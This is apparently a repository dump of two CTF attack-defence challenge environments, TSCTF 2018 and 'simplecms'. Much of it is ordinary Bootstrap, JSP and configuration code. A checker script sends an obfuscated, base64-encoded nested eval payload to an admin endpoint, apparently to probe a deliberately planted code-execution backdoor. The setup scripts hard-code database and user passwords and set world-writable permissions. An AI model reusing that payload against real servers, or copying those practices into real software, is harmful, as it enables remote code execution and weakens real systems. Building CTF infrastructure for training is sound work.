$active.hasClass('fade') || !!container.find('> .fade').length) function next() { $active .removeClass('active') .find('> .dropdown-menu > .active') .removeClass('active') .end() .find('[data-toggle="tab"]') .attr('aria-expanded', false) element .addClass('active') .find('[data-toggle="tab"]') .attr('aria-expanded', true) if (transition) { element[0].offsetWidth // reflow for transition element.addClass('in') } else { element.removeClass('fade') } if (element.parent('.dropdown-menu').length) { element .closest('li.dropdown') .addClass('active') .end() .find('[data-toggle="tab"]') .attr('aria-expanded', true) } callback && callback() } $active.length && transition ? $active .one('bsTransitionEnd', next) .emulateTransitionEnd(Tab.TRANSITION_DURATION) : next() $active.removeClass('in') } // TAB PLUGIN DEFINITION // ===================== function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.tab') if (!data) $this.data('bs.tab', (data = new Tab(this))) if (typeof option == 'string') data[option]() }) } var old = $.fn.tab $.fn.tab = Plugin $.fn.tab.Constructor = Tab // TAB NO CONFLICT // =============== $.fn.tab.noConflict = function () { $.fn.tab = old return this } // TAB DATA-API // ============ var clickHandler = function (e) { e.preventDefault() Plugin.call($(this), 'show') } $(document) .on('click.bs.tab.data-api', '[data-toggle="tab"]', clickHandler) .on('click.bs.tab.data-api', '[data-toggle="pill"]', clickHandler) }(jQuery); /* ======================================================================== * Bootstrap: affix.js v3.3.5 * http://getbootstrap.com/javascript/#affix * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // AFFIX CLASS DEFINITION // ====================== var Affix = function (element, options) { this.options = $.extend({}, Affix.DEFAULTS, options) this.$target = $(this.options.target) .on('scroll.bs.affix.data-api', $.proxy(this.checkPosition, this)) .on('click.bs.affix.data-api', $.proxy(this.checkPositionWithEventLoop, this)) this.$element = $(element) this.affixed = null this.unpin = null this.pinnedOffset = null this.checkPosition() } Affix.VERSION = '3.3.5' Affix.RESET = 'affix affix-top affix-bottom' Affix.DEFAULTS = { offset: 0, target: window } Affix.prototype.getState = function (scrollHeight, height, offsetTop, offsetBottom) { var scrollTop = this.$target.scrollTop() var position = this.$element.offset() var targetHeight = this.$target.height() if (offsetTop != null && this.affixed == 'top') return scrollTop < offsetTop ? 'top' : false if (this.affixed == 'bottom') { if (offsetTop != null) return (scrollTop + this.unpin <= position.top) ? false : 'bottom' return (scrollTop + targetHeight <= scrollHeight - offsetBottom) ? false : 'bottom' } var initializing = this.affixed == null var colliderTop = initializing ? scrollTop : position.top var colliderHeight = initializing ? targetHeight : height if (offsetTop != null && scrollTop <= offsetTop) return 'top' if (offsetBottom != null && (colliderTop + colliderHeight >= scrollHeight - offsetBottom)) return 'bottom' return false } Affix.prototype.getPinnedOffset = function () { if (this.pinnedOffset) return this.pinnedOffset this.$element.removeClass(Affix.RESET).addClass('affix') var scrollTop = this.$target.scrollTop() var position = this.$element.offset() return (this.pinnedOffset = position.top - scrollTop) } Affix.prototype.checkPositionWithEventLoop = function () { setTimeout($.proxy(this.checkPosition, this), 1) } Affix.prototype.checkPosition = function () { if (!this.$element.is(':visible')) return var height = this.$element.height() var offset = this.options.offset var offsetTop = offset.top var offsetBottom = offset.bottom var scrollHeight = Math.max($(document).height(), $(document.body).height()) if (typeof offset != 'object') offsetBottom = offsetTop = offset if (typeof offsetTop == 'function') offsetTop = offset.top(this.$element) if (typeof offsetBottom == 'function') offsetBottom = offset.bottom(this.$element) var affix = this.getState(scrollHeight, height, offsetTop, offsetBottom) if (this.affixed != affix) { if (this.unpin != null) this.$element.css('top', '') var affixType = 'affix' + (affix ? '-' + affix : '') var e = $.Event(affixType + '.bs.affix') this.$element.trigger(e) if (e.isDefaultPrevented()) return this.affixed = affix this.unpin = affix == 'bottom' ? this.getPinnedOffset() : null this.$element .removeClass(Affix.RESET) .addClass(affixType) .trigger(affixType.replace('affix', 'affixed') + '.bs.affix') } if (affix == 'bottom') { this.$element.offset({ top: scrollHeight - height - offsetBottom }) } } // AFFIX PLUGIN DEFINITION // ======================= function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.affix') var options = typeof option == 'object' && option if (!data) $this.data('bs.affix', (data = new Affix(this, options))) if (typeof option == 'string') data[option]() }) } var old = $.fn.affix $.fn.affix = Plugin $.fn.affix.Constructor = Affix // AFFIX NO CONFLICT // ================= $.fn.affix.noConflict = function () { $.fn.affix = old return this } // AFFIX DATA-API // ============== $(window).on('load', function () { $('[data-spy="affix"]').each(function () { var $spy = $(this) var data = $spy.data() data.offset = data.offset || {} if (data.offsetBottom != null) data.offset.bottom = data.offsetBottom if (data.offsetTop != null) data.offset.top = data.offsetTop Plugin.call($spy, data) }) }) }(jQuery); ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/bootstrap3.3.5/js/npm.js ================================================ // This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment. require('../../js/transition.js') require('../../js/alert.js') require('../../js/button.js') require('../../js/carousel.js') require('../../js/collapse.js') require('../../js/dropdown.js') require('../../js/modal.js') require('../../js/tooltip.js') require('../../js/popover.js') require('../../js/scrollspy.js') require('../../js/tab.js') require('../../js/affix.js') ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/classes/spring-context.xml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/common/closed.jsp ================================================ <%@ page import="com.bupt.utils.SystemDateTimeChecker" %><%-- Created by IntelliJ IDEA. User: wust_ Date: 2018/3/22 Time: 1:09 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %>

      等待系统开放.......

      系统开放时间段:<%=SystemDateTimeChecker.from%> ~ <%=SystemDateTimeChecker.to%>

      当前时间:

      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/common/competitionInfo.jsp ================================================ <%@ page contentType="text/html;charset=UTF-8" language="java" %>

      恋爱的季节  

              

              经过漫长的冬季,一种叫做单身狗的生物揉揉惺忪的双眼,望着窗外春暖花开的景色,心中对于爱情的渴望如同一粒石子落入湖面后激起的涟漪,一圈一圈的荡漾开去......

              "亲爱的爱上你,从那天起,甜蜜的很轻易"单身狗哼着杰伦老师的《告白气球》,踏上了CTF的征程,此刻它的眼神坚定,无形的力量驱使着它一直向前,因为下一站是幸福~

              当单身狗走进web世界,便可以进化为一只web狗。据说每一只web狗都有一只专属天使,专属天使择良木而栖,择Flag而食,为了喂饱它的天使,web狗不得不开始疯狂的寻找Flag,故事由此开始!

      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/common/footer.jsp ================================================ <%-- Created by IntelliJ IDEA. User: wust_ Date: 2018/3/22 Time: 1:09 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %>

      版权所有 © TSCTF 2018

      ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/common/head.jsp ================================================ <%-- Created by IntelliJ IDEA. User: wust_ Date: 2018/3/21 Time: 10:49 To change this template use File | Settings | File Templates. --%> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/common/infoTab.jsp ================================================ <%@ page contentType="text/html;charset=UTF-8" language="java" %> ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/common/navigator.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%-- Created by IntelliJ IDEA. User: wust_ Date: 2018/3/21 Time: 10:49 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/index.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> index

      index

      <% response.sendRedirect(basePath+"index.html"); %> ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/js/bootstrap-datetimepicker.zh-CN.js ================================================ /** * Simplified Chinese translation for bootstrap-datetimepicker * Yuan Cheung */ ;(function($){ $.fn.datetimepicker.dates['zh-CN'] = { days: ["星期日", "星期一", "星期二", "星期三", "星期四", "星期五", "星期六", "星期日"], daysShort: ["周日", "周一", "周二", "周三", "周四", "周五", "周六", "周日"], daysMin: ["日", "一", "二", "三", "四", "五", "六", "日"], months: ["一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月"], monthsShort: ["一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月"], today: "今天", suffix: [], meridiem: ["上午", "下午"] }; }(jQuery)); ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/js/myValidator.js ================================================ /** * 密码强度正则,最少6位,包括至少1个大写字母,1个小写字母,1个数字,1个特殊字符 * 验证密码 * @param password * @returns {boolean} */ // function validatePassword(password) { // var pPattern = /^.*(?=.{6,})(?=.*\d)(?=.*[A-Z])(?=.*[a-z])(?=.*[!@#$%^&*? ]).*$/; // return pPattern.test(password); // } /** * //正整数正则 * @param number */ function validatePositiveInteger(number) { var posPattern = /^\d+$/; return posPattern.test(number); } /** * 验证Email * @param email * @returns {boolean} */ function validateEmail(email) { //Email正则 var ePattern = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/; return ePattern.test(email); } /** * 电话号码 * @param phone * @returns {boolean} */ function validatePhoneNumber(phone) { var mPattern = /^1[34578]\d{9}$/; //http://caibaojian.com/regexp-example.html return mPattern.test(phone); } /** * 身份证号(18位)正则 * @param IDNumber * @returns {boolean} */ function validateIDNumber(IDNumber) { var cP = /^[1-9]\d{5}(18|19|([23]\d))\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\d{3}[0-9Xx]$/; return cP.test(IDNumber); } /** * //日期正则,复杂判定 * @param date */ function validateDate(date) { //日期正则,简单判定,未做月份及日期的判定 var dP1 = dP2 = /^(?:(?!0000)[0-9]{4}-(?:(?:0[1-9]|1[0-2])-(?:0[1-9]|1[0-9]|2[0-8])|(?:0[13-9]|1[0-2])-(?:29|30)|(?:0[13578]|1[02])-31)|(?:[0-9]{2}(?:0[48]|[2468][048]|[13579][26])|(?:0[48]|[2468][048]|[13579][26])00)-02-29)$/; return dP1.test(date); } function validateLengthMax(str,max) { var len = getByteLen(str); return len<=max; } function validateLengthMin(str,min) { var len = getByteLen(str); return len>=min; } /** * 校验用户名 * 要求:0-9a-zA-Z和@.+-_ * 长度:30以内 * @param username */ function validateUserName(username) { var uPattern = /^[0-9a-zA-Z@.+\-_]{1,30}$/; return uPattern.test(username); } /** * 校验密码 * 要求:0-9a-zA-Z * 长度:6-12位 * @param password */ function validatePassword(password) { var uPattern = /^[0-9a-zA-Z]{6,12}$/; return uPattern.test(password); } /** * 获取字符串长度,一个中文算两个字符 * @param val * @returns {number} */ function getByteLen(val) { var len = 0; for (var i = 0; i < val.length; i++) { var a = val.charAt(i); if (a.match(/[^\x00-\xff]/ig) != null) { len += 2; } else { len += 1; } } return len; } function myTrim(x) { return x.replace(/^\s+|\s+$/gm,''); } ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/js/showTips.js ================================================ //tip是提示信息,type:'success'是成功信息,'danger'是失败信息,'info'是普通信息 function ShowTip(tip, type) { var $tip = $('#tip'); if ($tip.length == 0) { $tip = $(''); $('body').append($tip); } $tip.stop(true).attr('class', 'alert alert-' + type).text(tip).css('margin-left', -$tip.outerWidth() / 2).fadeIn(500).delay(3000).fadeOut(1500); } function ShowMsg(msg) { ShowTip(msg, 'info'); } function ShowSuccess(msg) { ShowTip(msg, 'success'); } function ShowFailure(msg) { ShowTip(msg, 'danger'); } function ShowWarn(msg, $focus, clear) { ShowTip(msg, 'warning'); if ($focus) $focus.focus(); if (clear) $focus.val(''); return false; } ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT.war ================================================ [File too large to display: 16.3 MB] ================================================ FILE: web_javatsctf2018/javatsctf2018/target/classes/spring/ApplicationContext-dao.xml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/target/classes/spring/ApplicationContext-service.xml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/target/classes/spring/spring-context.xml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/target/classes/spring/sprintmvc.xml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/target/classes/sysConfig.properties ================================================ #Mail mail.transport.protocol=SMTP #mail.smtp.host=smtp.163.com mail.smtp.host=mail.bupt.edu.cn mail.smtp.port=25 mail.smtp.auth=true mail.smtp.timeout=25000 mail.username=test@bupt.edu.cn mail.password=test #system star and end time system.start.time=2018-05-24 15:10:00 system.end.time=2018-06-28 17:00:00 system.time.format=yyyy-MM-dd HH:mm:ss system.emailOperation.start.time=2018-05-24 15:10:00 system.emailOperation.end.time=2018-07-17 16:03:00 system.public.ctf.email=test@bupt.edu.cn #competition.link.releaseState=false competition.link.releaseState=true #信息学竞赛入口 competition.link.noip=http://2018.tsctf.com #CTF竞赛入口 competition.link.ctf=http://2018.tsctf.com ================================================ FILE: web_javatsctf2018/javatsctf2018/target/maven-archiver/pom.properties ================================================ #Generated by Maven #Mon Sep 02 09:16:55 UTC 2019 version=1.0-SNAPSHOT groupId=com.bupt artifactId=charpter2 ================================================ FILE: web_javatsctf2018/javatsctf2018/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst ================================================ com/bupt/service/UserService.class com/bupt/interceptor/FileTypeInterceptor.class com/bupt/dao/ProfileDao$5.class com/bupt/common/SpelView.class com/bupt/web/admin/AdminControllor.class com/bupt/dao/UserDao$1.class com/bupt/interceptor/LoginInterceptor.class com/bupt/web/DownloadController.class com/bupt/web/LoginController.class com/bupt/utils/ResponseUtils.class com/bupt/dao/ProfileDao$2.class com/bupt/dao/UserDao$4.class com/bupt/utils/AuthImage.class com/bupt/dao/ProfileDao$4.class com/bupt/service/upload/Upload.class com/bupt/dao/UserDao$5.class com/bupt/canstants/Canstants.class com/bupt/common/JsonData.class com/bupt/exception/PermissionException.class com/bupt/dao/ProfileDao$1.class com/bupt/web/IndexController.class com/bupt/utils/MD5Util.class com/bupt/domain/Profile.class com/bupt/dao/UserDao$6.class com/bupt/domain/Flag.class com/bupt/exception/ParamException.class com/bupt/utils/VerifyCodeUtils.class com/bupt/dao/ProfileDao$3.class com/bupt/common/SpringExceptionResolver.class com/bupt/domain/User.class com/bupt/exception/CustomException.class com/bupt/web/ProfileControllor.class com/bupt/utils/UUIDUtils.class com/bupt/dao/UserDao$2.class com/bupt/domain/LoginLog.class com/bupt/exception/CustomExceptionResolver.class com/bupt/dao/UserDao.class com/bupt/dao/UserDao$7.class com/bupt/utils/MailUtil$1.class com/bupt/utils/SystemDateTimeChecker.class com/bupt/utils/Check.class com/bupt/common/RandomValueStringGenerator.class com/bupt/dao/ProfileDao.class com/bupt/utils/ProfileExcelExportUtils.class com/bupt/utils/SysConfigUtils.class com/bupt/utils/MailUtil.class com/bupt/service/upload/Thumbnail.class com/bupt/dao/UserDao$3.class ================================================ FILE: web_javatsctf2018/javatsctf2018/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst ================================================ /opt/source/src/main/java/com/bupt/utils/SysConfigUtils.java /opt/source/src/main/java/com/bupt/exception/ParamException.java /opt/source/src/main/java/com/bupt/utils/AuthImage.java /opt/source/src/main/java/com/bupt/service/upload/Thumbnail.java /opt/source/src/main/java/com/bupt/canstants/Canstants.java /opt/source/src/main/java/com/bupt/web/DownloadController.java /opt/source/src/main/java/com/bupt/utils/MailUtil.java /opt/source/src/main/java/com/bupt/service/upload/Upload.java /opt/source/src/main/java/com/bupt/exception/CustomExceptionResolver.java /opt/source/src/main/java/com/bupt/interceptor/LoginInterceptor.java /opt/source/src/main/java/com/bupt/common/RandomValueStringGenerator.java /opt/source/src/main/java/com/bupt/web/LoginController.java /opt/source/src/main/java/com/bupt/common/JsonData.java /opt/source/src/main/java/com/bupt/web/admin/AdminControllor.java /opt/source/src/main/java/com/bupt/common/SpelView.java /opt/source/src/main/java/com/bupt/web/ProfileControllor.java /opt/source/src/main/java/com/bupt/domain/LoginLog.java /opt/source/src/main/java/com/bupt/interceptor/FileTypeInterceptor.java /opt/source/src/main/java/com/bupt/utils/MD5Util.java /opt/source/src/main/java/com/bupt/dao/UserDao.java /opt/source/src/main/java/com/bupt/service/UserService.java /opt/source/src/main/java/com/bupt/domain/User.java /opt/source/src/main/java/com/bupt/dao/ProfileDao.java /opt/source/src/main/java/com/bupt/domain/Flag.java /opt/source/src/main/java/com/bupt/web/IndexController.java /opt/source/src/main/java/com/bupt/exception/CustomException.java /opt/source/src/main/java/com/bupt/common/SpringExceptionResolver.java /opt/source/src/main/java/com/bupt/utils/SystemDateTimeChecker.java /opt/source/src/main/java/com/bupt/utils/Check.java /opt/source/src/main/java/com/bupt/utils/ProfileExcelExportUtils.java /opt/source/src/main/java/com/bupt/exception/PermissionException.java /opt/source/src/main/java/com/bupt/utils/VerifyCodeUtils.java /opt/source/src/main/java/com/bupt/utils/UUIDUtils.java /opt/source/src/main/java/com/bupt/utils/ResponseUtils.java /opt/source/src/main/java/com/bupt/domain/Profile.java ================================================ FILE: web_javatsctf2018/run.sh ================================================ #!/bin/bash /etc/tomcat-9.0.24/bin/startup.sh && mv /etc/tomcat-9.0.24/webapps/ROOT /etc/tomcat-9.0.24/webapps/ROOT.bak && mkdir -p /var/run/mysqld && chown -R mysql:mysql /var/lib/mysql /var/run/mysqld && cd /opt/ && service mysql start && mysql -uroot -pJmtserver@Hello123 -e "CREATE DATABASE chapter2 CHARACTER SET utf8 COLLATE utf8_general_ci;" && mysql -uroot -pJmtserver@Hello123 chapter2 < /opt/source/chapter2.sql && mysql -uroot -pJmtserver@Hello123 -e "GRANT ALL PRIVILEGES ON chapter2.* TO 'tomcat'@'%' IDENTIFIED BY 'tomcat';" && cd source && mvn package && cp /opt/source/target/charpter2-1.0-SNAPSHOT.war /etc/tomcat-9.0.24/webapps/ROOT.war python /tmp/flag.py & 2>&1 1>/dev/null chmod -R 777 /etc/tomcat-9.0.24/webapps/ /tmp /opt/source/ useradd ctf echo ctf:moxiaoxi666 | chpasswd sleep 2 apt install ssh -y service ssh start rm -rf /tmp/run.sh /tmp/flag.py if [ -x "extra.sh" ]; then ./extra.sh fi /bin/bash ================================================ FILE: web_simplecms/Dockerfile ================================================ FROM nickistre/ubuntu-lamp RUN apt-get update && apt-get dist-upgrade -y ADD apache2.conf /etc/apache2/apache2.conf EXPOSE 80 EXPOSE 22 CMD ["/tmp/run.sh"] ================================================ FILE: web_simplecms/apache2.conf ================================================ # This is the main Apache server configuration file. It contains the # configuration directives that give the server its instructions. # See http://httpd.apache.org/docs/2.4/ for detailed information about # the directives and /usr/share/doc/apache2/README.Debian about Debian specific # hints. # # # Summary of how the Apache 2 configuration works in Debian: # The Apache 2 web server configuration in Debian is quite different to # upstream's suggested way to configure the web server. This is because Debian's # default Apache2 installation attempts to make adding and removing modules, # virtual hosts, and extra configuration directives as flexible as possible, in # order to make automating the changes and administering the server as easy as # possible. # It is split into several files forming the configuration hierarchy outlined # below, all located in the /etc/apache2/ directory: # # /etc/apache2/ # |-- apache2.conf # | `-- ports.conf # |-- mods-enabled # | |-- *.load # | `-- *.conf # |-- conf-enabled # | `-- *.conf # `-- sites-enabled # `-- *.conf # # # * apache2.conf is the main configuration file (this file). It puts the pieces # together by including all remaining configuration files when starting up the # web server. # # * ports.conf is always included from the main configuration file. It is # supposed to determine listening ports for incoming connections which can be # customized anytime. # # * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ # directories contain particular configuration snippets which manage modules, # global configuration fragments, or virtual host configurations, # respectively. # # They are activated by symlinking available configuration files from their # respective *-available/ counterparts. These should be managed by using our # helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See # their respective man pages for detailed information. # # * The binary is called apache2. Due to the use of environment variables, in # the default configuration, apache2 needs to be started/stopped with # /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not # work with the default configuration. # Global configuration # # # ServerRoot: The top of the directory tree under which the server's # configuration, error, and log files are kept. # # NOTE! If you intend to place this on an NFS (or otherwise network) # mounted filesystem then please read the Mutex documentation (available # at ); # you will save yourself a lot of trouble. # # Do NOT add a slash at the end of the directory path. # #ServerRoot "/etc/apache2" # # The accept serialization lock file MUST BE STORED ON A LOCAL DISK. # Mutex file:${APACHE_LOCK_DIR} default # # PidFile: The file in which the server should record its process # identification number when it starts. # This needs to be set in /etc/apache2/envvars # PidFile ${APACHE_PID_FILE} # # Timeout: The number of seconds before receives and sends time out. # Timeout 300 # # KeepAlive: Whether or not to allow persistent connections (more than # one request per connection). Set to "Off" to deactivate. # KeepAlive On # # MaxKeepAliveRequests: The maximum number of requests to allow # during a persistent connection. Set to 0 to allow an unlimited amount. # We recommend you leave this number high, for maximum performance. # MaxKeepAliveRequests 100 # # KeepAliveTimeout: Number of seconds to wait for the next request from the # same client on the same connection. # KeepAliveTimeout 5 # These need to be set in /etc/apache2/envvars User ${APACHE_RUN_USER} Group ${APACHE_RUN_GROUP} # # HostnameLookups: Log the names of clients or just their IP addresses # e.g., www.apache.org (on) or 204.62.129.132 (off). # The default is off because it'd be overall better for the net if people # had to knowingly turn this feature on, since enabling it means that # each client request will result in AT LEAST one lookup request to the # nameserver. # HostnameLookups Off # ErrorLog: The location of the error log file. # If you do not specify an ErrorLog directive within a # container, error messages relating to that virtual host will be # logged here. If you *do* define an error logfile for a # container, that host's errors will be logged there and not here. # ErrorLog ${APACHE_LOG_DIR}/error.log # # LogLevel: Control the severity of messages logged to the error_log. # Available values: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the log level for particular modules, e.g. # "LogLevel info ssl:warn" # LogLevel warn # Include module configuration: IncludeOptional mods-enabled/*.load IncludeOptional mods-enabled/*.conf # Include list of ports to listen on Include ports.conf # Sets the default security model of the Apache2 HTTPD server. It does # not allow access to the root filesystem outside of /usr/share and /var/www. # The former is used by web applications packaged in Debian, # the latter may be used for local directories served by the web server. If # your system is serving content from a sub-directory in /srv you must allow # access here, or in any related virtual host. # Options FollowSymLinks AllowOverride all Require all denied AllowOverride all Require all granted #Options Indexes FollowSymLinks AllowOverride all Require all granted # # Options Indexes FollowSymLinks # AllowOverride None # Require all granted # # AccessFileName: The name of the file to look for in each directory # for additional configuration directives. See also the AllowOverride # directive. # AccessFileName .htaccess # # The following lines prevent .htaccess and .htpasswd files from being # viewed by Web clients. # Require all denied # # The following directives define some format nicknames for use with # a CustomLog directive. # # These deviate from the Common Log Format definitions in that they use %O # (the actual bytes sent including headers) instead of %b (the size of the # requested file), because the latter makes it impossible to detect partial # requests. # # Note that the use of %{X-Forwarded-For}i instead of %h is not recommended. # Use mod_remoteip instead. # LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %O" common LogFormat "%{Referer}i -> %U" referer LogFormat "%{User-agent}i" agent # Include of directories ignores editors' and dpkg's backup files, # see README.Debian for details. # Include generic snippets of statements IncludeOptional conf-enabled/*.conf # Include the virtual host configurations: IncludeOptional sites-enabled/*.conf # vim: syntax=apache ts=4 sw=4 sts=4 sr noet ================================================ FILE: web_simplecms/build_images.sh ================================================ #!/bin/sh docker build -t moxiaoxi/simplecms . ================================================ FILE: web_simplecms/checker.py ================================================ #!/usr/bin/env python # -*- coding:utf8 -*- import requests import base64 import random import string my_time = ''.join(random.sample(string.ascii_letters + string.digits, 8)) def check(target_ip, target_port): target_url = 'http://' + target_ip + ':' + str(target_port) + '/' if not index_check(target_url): print("[-]: {},index_check error".format(target_url)) return False print("[+]:{},index check succ!".format(target_url)) if not test_check(target_url): print("[-]: {},test_check error".format(target_url)) return False print("[+]:{},test_check check succ!".format(target_url)) if not login_check(target_url): print("[-]: {},login_check error".format(target_url)) return False print("[+]:{},login_check check succ!".format(target_url)) if not admin_check(target_url): print("[-]: {},admin_check error".format(target_url)) return False print("[+]:{},admin_check check succ!".format(target_url)) if not admin_indec_check(target_url): print("[-]: {},admin_indec_check error".format(target_url)) return False print("[+]:{},admin_indec_check check succ!".format(target_url)) return True def index_check(target_url): res = requests.get(target_url + '/index.php?file=news&cid=1&page=1&test=eval&time=%s' % str(my_time)) if 'A Travel Agency'.encode() in res.content: return True return False def test_check(target_url): res = requests.get(target_url + '/contact.php?file=flag&time=%s' % str(my_time)) if 'info@example.com'.encode() in res.content: return True return False def admin_check(target_url): data = base64.b64encode( 'eval($b($c($d($b($c($d($b($c($d($b($c($d("BcHJglAwAADQD2Uo0UsOPUtNR8UYVqkb1RhYcKT2r+975tP9ze/G4hhpcgKyhlHNeFY+VLqnCNUBq55lTggTDCQuMEAPeGsrZK35BnUpXBriUPk9VDxp4pL3x7iYj3YH5nIa0/qxXMRMsvmVjX7vkjjs0YYadh5onm96ALwKbaxC1cZgZt5MxBQAi7XfekgpnF0oRBHRVIaznEZaDjbMBJxLXlnLHEIqhMhPofY0PhV3WPsfvYhn7Prhxzc7tw1NLDh7XuS7O3ODKMbAvU1/vAx1kJDp9n59kK7eA84Sw1WUeZfpZTp9AQ==")))))))))))));'.encode()); cookies = {"PHPSESSID": "f50fb7948dggefigd9shl1rqg7"} res = requests.post(target_url + '/admin/index.php?time=%s' % str(my_time), data=data, cookies=cookies) if 'glyphicon glyphicon-envelope'.encode() in res.content: return True return False def login_check(target_url): session = requests.Session() paramsPost = {"button": "SIGN-IN", "password": "mysql", "username": "admin"} headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded"} cookies = {"PHPSESSID": "f50fb7948dggefigd9shl1rqg7"} response = session.post(target_url + "/login.php", data=paramsPost, headers=headers, cookies=cookies) if '
    • admin
    • '.encode() in response.content: return True return False def admin_indec_check(target_url): session = requests.Session() data = 'eval(6666)' headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded"} cookies = {"PHPSESSID": "f50fb7948dggefigd9shl1rqg7"} response = session.post(target_url + "/index.php/admin/Index/main.html", data=data, headers=headers, cookies=cookies) if 'It seems that this command'.encode() in response.content: return True return False if __name__ == '__main__': target_ip, target_port = '127.0.0.1', 8801 check(target_ip, target_port) ================================================ FILE: web_simplecms/docker.sh ================================================ #!/bin/sh cp run.sh tmp/ cp flag.py tmp/ docker run -p {out_port}:80 -p {ssh_port}:22 -v /var/lib/mysql -v `pwd`/simplecms:/var/www/html -v `pwd`/tmp:/tmp -d --name {team_name} -ti moxiaoxi/simplecms ================================================ FILE: web_simplecms/run.sh ================================================ #!/bin/sh service ssh start a2enmod rewrite service apache2 start rm /var/www/html/index.html /var/www/html/phpinfo.php chown www-data:www-data /var/www/html/* -R python /tmp/flag.py & 2>&1 1>/dev/null cd /var/www/html useradd ctf echo ctf:moxiaoxi666 | chpasswd sleep 2 rm -rf /tmp service mysql start mysql -e "source /var/www/html/test.sql;" supervisord -n if [ -x "extra.sh" ]; then ./extra.sh fi /bin/bash ================================================ FILE: web_simplecms/simplecms/.a.php ================================================ ================================================ FILE: web_simplecms/simplecms/.htaccess ================================================ ================================================ FILE: web_simplecms/simplecms/Wopop_files/JQuery.cookie.js ================================================ /** * Cookie plugin * * Copyright (c) 2006 Klaus Hartl (stilbuero.de) * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * */ /** * Create a cookie with the given name and value and other optional parameters. * * @example $.cookie('the_cookie', 'the_value'); * @desc Set the value of a cookie. * @example $.cookie('the_cookie', 'the_value', {expires: 7, path: '/', domain: 'jquery.com', secure: true}); * @desc Create a cookie with all available options. * @example $.cookie('the_cookie', 'the_value'); * @desc Create a session cookie. * @example $.cookie('the_cookie', null); * @desc Delete a cookie by passing null as value. * * @param String name The name of the cookie. * @param String value The value of the cookie. * @param Object options An object literal containing key/value pairs to provide optional cookie attributes. * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object. * If a negative value is specified (e.g. a date in the past), the cookie will be deleted. * If set to null or omitted, the cookie will be a session cookie and will not be retained 